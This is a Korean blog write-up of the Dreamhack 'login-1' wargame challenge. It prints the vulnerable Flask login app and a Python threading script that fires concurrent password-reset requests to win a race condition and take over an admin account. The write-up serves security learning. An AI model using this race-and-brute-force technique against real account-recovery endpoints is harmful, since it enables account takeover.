https://dreamhack.io/wargame/challenges/47
login-1
python으로 작성된 로그인 기능을 가진 서비스입니다. "admin" 권한을 가진 사용자로 로그인하여 플래그를 획득하세요. Reference Server-side Basic
dreamhack.io

일단 register 페이지를 이용해서
test / test 계정을 만들었다.


이렇게 test 계정을 만드니 백업코드라는 것을 알려주었다.

이렇게 주어진 백업코드는 비밀번호를 변경할 때 사용된다.

register한 test 계정으로 로그인하니 이런 화면이 나왔다.
소스코드를 봐야할 것 같다
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import sqlite3
import hashlib
import os
import time, random
app = Flask(__name__)
app.secret_key = os.urandom(32)
DATABASE = "database.db"
userLevel = {
0 : 'guest',
1 : 'admin'
}
MAXRESETCOUNT = 5
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
def makeBackupcode():
return random.randrange(100)
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get("userid")
password = request.form.get("password")
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ? and pw = ?', (userid, hashlib.sha256(password.encode()).hexdigest() )).fetchone()
if user:
session['idx'] = user['idx']
session['userid'] = user['id']
session['name'] = user['name']
session['level'] = userLevel[user['level']]
return redirect(url_for('index'))
return "<script>alert('Wrong id/pw');history.back(-1);</script>";
@app.route('/logout')
def logout():
session.clear()
return redirect(url_for('index'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'GET':
return render_template('register.html')
else:
userid = request.form.get("userid")
password = request.form.get("password")
name = request.form.get("name")
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
return "<script>alert('Already Exists userid.');history.back(-1);</script>";
backupCode = makeBackupcode()
sql = "INSERT INTO user(id, pw, name, level, backupCode) VALUES (?, ?, ?, ?, ?)"
cur.execute(sql, (userid, hashlib.sha256(password.encode()).hexdigest(), name, 0, backupCode))
conn.commit()
return render_template("index.html", msg=f"<b>Register Success.</b><br/>Your BackupCode : {backupCode}")
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'GET':
return render_template('forgot.html')
else:
userid = request.form.get("userid")
newpassword = request.form.get("newpassword")
backupCode = request.form.get("backupCode", type=int)
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
# security for brute force Attack.
time.sleep(1)
if user['resetCount'] == MAXRESETCOUNT:
return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
if user['backupCode'] == backupCode:
newbackupCode = makeBackupcode()
updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"
else:
updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
cur.execute(updateSQL, (str(user['idx'])))
msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
conn.commit()
return render_template("index.html", msg=msg)
return "<script>alert('User Not Found.');history.back(-1);</script>";
@app.route('/user/<int:useridx>')
def users(useridx):
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone()
if user:
return render_template('user.html', user=user)
return "<script>alert('User Not Found.');history.back(-1);</script>";
@app.route('/admin')
def admin():
if session and (session['level'] == userLevel[1]):
return FLAG
return "Only Admin !"
app.run(host='0.0.0.0', port=8000)
UserLevel이 1이면 admin 레벨, 0이면 guest 레벨임을 알 수 있다.

URL의 뒷부분을 1로 변경하니
UserLevel이 1인 계정의 정보를 알 수 있었다.
이 계정의 백업코드를 알아내서 비밀번호를 바꿔야하는 것 같다.
일단 백업 코드를 모르니 아무 숫자를 넣어서 비밀번호를 바꿔보자

아무 숫자를 넣어서 비밀번호 변경을 하려했더니
카운트를 한다.
forgot_password 소스코드를 다시 봐보자
def forgot_password():
if request.method == 'GET':
return render_template('forgot.html')
else:
userid = request.form.get("userid")
newpassword = request.form.get("newpassword")
backupCode = request.form.get("backupCode", type=int)
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
# security for brute force Attack.
time.sleep(1)
if user['resetCount'] == MAXRESETCOUNT:
return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
if user['backupCode'] == backupCode:
newbackupCode = makeBackupcode()
updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"
else:
updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
cur.execute(updateSQL, (str(user['idx'])))
msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
conn.commit()
return render_template("index.html", msg=msg)
return "<script>alert('User Not Found.');history.back(-1);</script>";
1. user가 존재하는 계정이면 1초 지연
2. 백업코드 실패 횟수가 5회면 이전 페이지로 강제 리다이렉트
3. backup코드가 일치하면 1부터 100 사이의 랜덤한 숫자로 새로운 백업코드를 만들고 패스워드 변경
4. backup코드가 일치하지 않으면 user['resetcount']를 1 증가
시간이 1초가 지연되는 동안 1~100까지의 backupcode를 모두 요청해서
user['resetcount']가 하나씩 증가하지 않고 동시 요청으로 5를 초과해버려서
강제 리다이렉트가 일어나지 않도록 만들어야한다.


Burp Suite를 이용해서 해주었다.
했는데 Apple의 비밀번호가 변경되지않아서

다른 admin 계정인 Dog 계정의 비밀번호를 파이썬 코드를 작성해서 변경해주었다.
import threading, requests
url = "http://host3.dreamhack.games:9428/forgot_password"
def forgot(backupCode):
data = {"userid": "Dog", "newpassword": "Dog", "backupCode": backupCode}
requests.post(url, data=data)
print(f"{backupCode}번째 요청")
if __name__ == "__main__":
threads = []
for i in range(1, 100 + 1):
t = threading.Thread(target=forgot, args=[i])
t.start()
threads.append(t)
for thread in threads:
thread.join()
print("END")


Dog계정으로 로그인했고
admin을 눌러보니 FLAG를 얻을 수 있었다.

'ETC > EVI$ION' 카테고리의 다른 글
| EVI$ION 정규 세션 과제 - #7 (0) | 2024.05.30 |
|---|---|
| EVI$ION 정규 세션 과제 - #6 (0) | 2024.05.23 |
| EVI$ION 러닝 세션 과제 - #4 (5/11) (0) | 2024.05.11 |
| EVI$ION 정규 세션 과제 - #4 (0) | 2024.05.09 |
| EVI$ION 러닝 세션 과제 - #3 (5/4) (0) | 2024.05.04 |